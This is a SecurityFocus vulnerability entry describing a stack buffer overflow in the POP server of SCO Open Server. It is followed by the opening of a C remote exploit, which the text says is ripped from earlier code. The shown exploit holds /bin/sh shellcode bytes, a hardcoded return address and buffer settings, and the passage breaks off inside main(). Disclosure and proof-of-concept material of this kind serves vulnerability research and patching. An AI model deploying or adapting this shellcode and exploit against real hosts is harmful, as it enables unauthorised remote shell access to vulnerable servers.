source: http://www.securityfocus.com/bid/156/info A buffer overflow exists in the pop server shipped with Santa Cruz Operation, Inc's (SCO) Open Server. By presenting a buffer of sufficient length to the pop server, an attacker can overwrite the return address on the stack, and execute arbitrary code upon a return. SCO's pop server is based on Qualcomm's pop daemon, and this vulnerability is similar to others present in Qualcomm's server. /* * Remote pop exploit for SCO systems. * by glitch of litecrew. * Ripped from Miroslaw Grzybek's code. */ #include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h>=20 #include <netdb.h> #include <sys/errno.h> char *shell= "\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17" "\x88\x5e\x1c\x8d\x16\x89\x56\x0e\x31\xc0\xb0\x3b\x8d\x7e" "\x12\x89\xf9\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89" "\xcf\xeb\x01\xff\x63\x61\x62\x62\xeb\x1b\xe8\xc9\xff\xff" "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb" "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa"; #define ADDR 0x80474b4 #define OFFSET 0 #define BUFLEN 1200 char buf[BUFLEN]; int offset=OFFSET; int nbytes; int sock; struct sockaddr_in sa; struct hostent *hp; short a; void main (int argc, char *argv[]) { int i; if(argc<2) { printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]); printf("Default offset is 0.
